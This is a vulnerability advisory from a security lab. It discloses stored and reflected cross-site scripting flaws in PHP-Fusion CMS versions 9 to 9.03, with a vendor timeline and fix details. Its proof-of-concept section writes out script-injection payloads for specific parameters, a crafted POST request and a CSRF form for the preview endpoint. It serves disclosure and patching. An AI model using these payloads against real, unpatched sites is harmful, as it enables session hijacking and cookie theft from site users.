Multiple Cross-Site Scripting (XSS) Vulnerabilities In PHP-Fusion CMS

Title

Multiple Cross-site Scripting (XSS) Vulnerabilities

Product

PHP-Fusion CMS

Vulnerable Version

9 - 9.03

Fixed Version

9.03.30

CVE Number

-

Impact

medium

Found

09.12.2019

By

M. Ali, N. Ramadhan, W. Ikram, R. Jaafar, S. Maskan SEC Consult Vulnerability Lab (Office Malaysia)

XSS vulnerabilities in the PHP-Fusion CMS allow an attacker to perform unauthorized actions on behalf of another user. In addition, access information and other sensitive information can be intercepted directly.

Vendor Description

“PHP-Fusion is a lightweight open source content management system (CMS) written in PHP.

Source: https://github.com/php-fusion

Business Recommendation

Update to the latest version of PHP-Fusion. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues.

Vulnerability Overview / Description

1) Stored XSS vulnerability

This vulnerability within PHP-Fusion allows an attacker (user with edit post capability) to inject malicious client side scripting code which will be executed in the browser of a user with “Error Log” access privilege (usually administrator or super administrator).

2) Reflected XSS vulnerability

This vulnerability within PHP-Fusion allows an attacker to inject malicious client side scripting code which will be executed in the browser of users.

Proof Of Concept

1) Stored XSS vulnerability

A) Edit Blog Post Function

This vulnerability can be exploited by an attacker with “edit post” capability. By editing a blog post, malicious script code can be injected through the affected parameters (defined below). When saving the changes made, the application will store the XSS payload in the database as an error (table <dbtableprefix>_errors). Then, the application will load all the errors to notify the administrator in the “Error Log” notification module. The XSS payload will get executed on any page since it was the application behavior loading all the errors on any page as long as the affected user’s session is active.

Below is the example on how the XSS issue can be exploited.

URL : $DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit&section=blog_form&blog_id=<id#> METHOD : POST PAYLOAD: '><script>alert(document.cookie)</script> PARAMETER: blog_image, blog_image_t1, blog_image_t2 Content-Type: multipart/form-data; boundary=---------------------------247592002319215 Content-Length: 3051 Origin: $DOMAIN Connection: close Referer: $DOMAIN/fusion/infusions/blog/blog_admin.php Cookie: [snip] [snip] -----------------------------247592002319215 Content-Disposition: form-data; name="blog_image" pp.jpg'><script>alert(document.cookie)</script> [snip]

2) Reflected XSS vulnerability

A) Preview Blog Post Function

This vulnerability can be exploited by an unauthenticated attacker. The XSS payload is injected in the preview.ajax.php script through the parameter “text”. Below is the example on how the XSS issue can be exploited through CSRF.

URL : $DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php METHOD : POST PAYLOAD: <script>alert(document.cookie)</script> Create a HTML file with content as below and open it with browser. <html> <body> <form action="$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php" method="POST"> <input type="hidden" name="text" value="xyz<script>alert(document.cookie)</script>zzz" /> <input type="hidden" name="editor" value="html" /> <input type="hidden" name="url" value="/infusion/xxyyzz.php" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Vulnerable / Tested Versions

PHP-Fusion version 9.03.00 has been tested, which was the latest version available at the time of the test.

 

Vendor Contact Timeline

2019-12-10 Contacting vendor by email technical@php-fusion.co.uk, sales@php-fusion.co.uk, billing@php-fusion.co.uk, management@php-fusion.co.uk
2019-12-11 Vendor lead developer contact SEC Consult via Whatsapp and ask to send the detail unencrypted to his email chan@php-fusion.co.uk. Email sent to the lead developer on the same day.
2020-01-23 Vendor fixed the reported issues, but it can be bypassed. SEC Consult informed the Lead Developer via Whatsapp. The lead developer requests extension (3 weeks). Latest possible release date changed to 24th Feb 2020.
2020-02-01 Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1 (Stored XSS) remains unfixed.
2020-02-04 Vendor informed fixed version available on github page.
2020-02-11 Vendor requested two weeks to inform their users to update their websites. Latest possible release date changed to 25th Feb 2020.
2020-02-11 Requesting CVE ID, only automatic reply with request ID.
2020-02-21 Asking for CVE ID again, no reply.
2020-02-25 Public release of security advisory.

Solution

The fixed version 9.03.30 is available at the vendor’s download section:
https://www.php-fusion.co.uk/php_fusion_9_downloads.php

Workaround

No workaround available.

Advisory URL

https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020

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